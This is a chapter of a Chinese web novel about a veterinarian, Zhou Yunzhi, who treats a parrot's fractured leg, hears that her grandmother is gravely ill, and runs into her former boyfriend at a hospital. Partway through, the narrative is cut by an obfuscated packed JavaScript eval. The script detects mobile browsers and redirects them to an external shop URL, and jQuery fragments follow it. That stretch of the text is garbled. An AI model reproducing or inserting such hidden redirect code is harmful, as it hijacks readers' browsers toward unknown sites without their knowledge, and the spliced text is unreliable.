2026年7月2日发表于晋江文学城。
——————
只有五分钟就下班了，周韵之计划回家点一份外卖、打开心爱的综艺、抱着小猫度过美好的周五，但叫号系统突然又“叮！”一声。
居然在她下班前五分钟来了一位患者！还是VIP！
这下好了，准时跑路计划泡汤。
“进。”周韵之对着门外说。
尽管再想溜，本职工作还是要做好。
患者家属是一位保养得很好的中年女士，穿着精致的奢牌外套，双手捧着一坨毛巾包裹起来的东西，小心翼翼递到周韵之面前：
“医生您看看，它这个脚好像骨折了，被我不小心压了一下……”
“我看看。”
周韵之戴起手套，扒开毛巾，里面是一只毛茸茸的鹦鹉，拨弄它的两条腿时，鹦鹉剧烈挣扎。
“轻点轻点，是骨折了吗？”贵妇女士心急地问。
“可能是，”周韵之一边说话，一边继续用指尖来回抚摸鹦鹉的腿部关节，“腿的角度已经不对了，触碰跖骨中段有明显的骨摩擦感，而且它很挣扎，感觉非常痛。”
鹦鹉应激反应很大，伸长脖子啄周韵之的手。
“拍个片子看一下，好消息是脚爪末端还有温度，说明血液循环没断。”周韵之用手指了指预估断骨的地方。
“那拍完片子，是骨折的话怎么办呢，跟人一样包石膏吗？”
“做固定嘛，一个是外固定包扎，就在外面帮它用医用胶带做个小夹板，但是你这个是和尚鹦鹉，不是虎皮、牡丹这些小型鹦鹉，要看骨头的情况，光外支撑可能不太够，不够的话就得内固定。”
“啊，要开刀啊。”贵妇女士更着急了。
“对，做个手术，在里面打个钢钉，这样固定效果可能要好一点。”
“这个打钢钉需要恢复多久啊？”
“至少一个月，长好了的话钢钉可以拆掉的，具体用什么方式要看拍片出来的结果。”
周韵之语气温和、有条不紊，一定程度抚慰了患者家属的心情。
“行，那先拍片子看看吧。”
如此严肃的问诊对话，对象居然是一只小鹦鹉。这样的场景日日发生在临安最大的动物医院里，来看病的动物形形色色，除了常见的小猫小狗，还有鹦鹉、兔子、守宫、乌龟，以及各类异宠。
“拍片子的话我们建议先先麻醉镇定再拍。”周韵之说。
“麻醉有风险吗？”
“会有一些，但如果不麻醉的话，就得抓着它，它可能会应激，也有一定的风险。”
“麻醉的话是怎么弄啊？”
“就是让它晕倒。”周韵之耐心地解释。
“麻醉吧麻醉吧，怕它应激。”
“大小便什么的都正常吧？还有吃东西这些？”
“都正常的。”
周韵之一边提问，一边在系统上开单，打印风险告知书。
“养了多久啊？”
“两个月，哎，家里就我一个人，一只猫一条狗，三个人住一个别墅还是太孤单了，最近为了热闹又养的鹦鹉……”
周韵之在心里吐槽，一猫一狗一人住大别墅嫌孤单，可怜她的毛毛只能陪她住出租屋……
签字时，看到这位贵妇女士姓李。
有的人被困在物质里，有的人物质丰盈又被困在其他东西里，而毛孩子们很多时候都承担了陪伴独居青年和孤寡老人的任务。
这位李女士，虽然语气着急，但愿意带着自己的鹦鹉来看病，从头到尾没提钱的事，关心的也只是麻醉与否、不同手术方式对鹦鹉的影响，像对待自己孩子一样，在他们医院都冲到VIP了，证明确实很爱护小动物。
“李女士，一会儿拍出来我们看看骨头的情况，如果是粉碎性，只外包扎的话不够，如果只是两节的话那可以。拍完片还在麻醉状态，我们看完片子就直接操作，不管是外固定还是手术都是要在镇定状态下做，省得要它麻醉两次。”
“那手术不会有生命危险吧，最坏的结果就是这条腿坏了，对吧。”
“是的，还有为了看清楚腿的情况，我们还需要拔一下毛，看看周围有没有被它咬到，有没有伤口感染。”
“啊，行。”
“把它给我吧，现在先去吸氧，你可以看着它，吸氧十分钟以后我们上麻醉。”
李女士把鹦鹉给周韵之，一旁的助理也已经做好了准备。
拍好片子后，周韵之叫李女士来看片，她还没说什么，李女士就忍不住点评：
“它的片子好像一只烤鸡。”
周韵之被逗得笑起来。
“它是这里断了，左腿。”周韵之指着片子给李女士看，“片子看没有粉碎性骨折，还好，可以先做外包扎。”
“太好了太好了，谢谢医生。”
周韵之和助理换上手术服，戴上手套，开始手术。
包扎结束后，小鹦鹉也醒了，瞪着大眼睛盯着周韵之。
“要注意别让它啃，回去要严格静养、定期复查，给它戴头套，就小型伊丽莎白圈，放在小笼子里，不要让它飞，只放吃的和水就行，不要放玩具。”
“外带笼可以吗？”
“可以，多陪陪它，让它不要啃头套，也不要啃腿上的固定胶布。”
“好的，那要吃药吗，还是？”
“我会给它配一点消炎药和止痛药，因为它拔完毛看是有一点淤血和破损的，所以需要消炎，你用针管给它喂进去，会吗？”
“不会。”李女士有些局促。
周韵之把鹦鹉嘴撑开：
“喂到这个喙的下面，不要喂在舌头上，它自己会舔进去，”
“诶，好好好，谢谢医生。”
李女士带着鹦鹉离开，周韵之看着她的背影，抿嘴轻笑了一下，罢了，下班晚就晚吧，看到别人因为她的工作而幸福，她也觉得很开心。
助理见周韵之收拾东西准备下班，神神秘秘地凑过来问：
“姐，这次升副主任医师你肯定稳了吧？”
周韵之本硕都是名校，专攻临床兽医学，小型动物外科方向。早早取得了执业兽医师资格证书，毕业后入职临安最大的动物医院——铭锐动物医院，临床和手术经验都很丰富，入职一年晋升外科组长，三年担任外科主管，带教七名年轻医生，一干就是四年，目前是主治医生。
“别瞎说。”周韵之狠狠地瞅了对方一眼，虽然她心里也觉得该是自己，院长也多次给她要升职的暗示，但毕竟还没定下来，总不该提前张扬。
“怎么是瞎说！学历、经验、业绩、客户满意度，你都在前面！大家有目共睹的！”小助理很激动。
·
周韵之和助理嘻嘻哈哈了两句后离开医院前往地铁站，进闸机口时突然接到母亲的电话。
“搅搅，最近上班忙吗？”母亲那边环境格外安静，说话声音压着，周韵之觉得很奇怪，也找了个安静的角落。
“就老样子，怎么了？”
电话那头一阵沉默，周韵之心里有不妙的预感，追问：<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769225|209851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“妈，怎么了？”
“你外婆不太好，摔了一跤，去医院检查，结果已经肺癌晚期，骨转移了。”
周韵之脑子嗡嗡响，嘈杂的地铁站仿佛突然消音了。
“外婆不是一直除了腰间盘突出，其他都挺好的吗，她不是每年都体检吗？”
“哎，不知道为什么之前都没体检出来，你最近看看什么时候有空，回来一趟吧。”
挂完电话后，周韵之连忙搜索从临安到云州的高铁票，当天已经没票了，最早的票是次日早晨，两地高铁三小时，周韵之马上定了第二天的票。又浑浑噩噩地临时换周末值班，请年假，靠软磨硬泡得到一周假期。
一夜都睡得不太安稳，第二天一早，匆匆摸了摸小猫的头，周韵之赶往高铁站。
毛毛有自动喂食机、自动喂水机、自动铲猫砂机，家里也有监控，她一个星期不在家没问题。
一想到外婆已经这样了，周韵之就难过。
她从一岁到六岁是外婆带大的，奶奶重男轻女不肯带她，外婆是那个年代的初中生，早早教周韵之认字、背诗。“搅搅”这个小名也是外婆起的，说周韵之小时候脾气差，性格怪，旁人抱一下就哭，搅精得很，所以小名叫搅搅。
很奇怪的小名，周韵之从不告诉外人，只有家里人这么叫她。
长大后的周韵之看起来温婉柔顺，从外表看很难想象小时候竟然是混世魔王，只有熟悉的人才知道她其实很有想法，很叛逆，搅搅这个名字倒也没冤枉她。
·
[妈，我到云州了，哪个医院？病房在哪？]周韵之发消息问母亲。
[市第一人民医院住部二号楼14层56号床，你过来吧。]
看着屏幕上的消息，周韵之心跳停了一瞬。
市第一人民医院吗？
罢了，当地最好的医院就是这个，不要多想。
周韵之打车到市一院，找到住院部。
一楼等电梯的大厅里人满为患，电梯紧俏，站在后排的人都挤不进去。
这时，周韵之电话响了，看到来电显示，她认命般地放弃往前挤，退出来到旁边楼梯间没人的地方接电话。
“喂？”
“周医生，在忙吗？”
“这会儿挺忙的。”
“考虑得怎么样了？”
周韵烦躁地深深吸了一口气又吐出来。
“我应该不太适应泰安高强度的工作和竞争环境，暂时不考虑了，谢谢。”
电话那头的人笑。
“周韵之，你少拿这些借口糊弄我，我这里真的很缺人，给你涨薪50%。”
“是我的问题，我的性格……可能不适合，你一定能找到更合适的人的。”
楼梯间的墙角有一股冬天湿冷的味道，她烦躁地转身，突然看到了一个身高优越、穿着白大褂、下颌线紧绷的男人冷冷地站在自己身后，不知道盯了自己多久，手上捏着几份文件，戴着窄方形无框眼镜。
周韵之呼吸停滞，已经听不见电话里在说什么了。
“喂，喂喂？”
“我这儿有事，就这样吧。”周韵之草草挂了电话。
周韵之今天穿着米白色的大衣，脖颈间系着围巾，头发松散地挽成一团。大清早就开始奔波，她看起来不那么精致。
见到许缙，周韵之想了想还是率先打招呼。
“这么巧，听林薇琦说你在市一院上班，好久不见。”
许缙没接她热络的寒暄，讥诮道：
“你甩人的理由也不换一个吗？”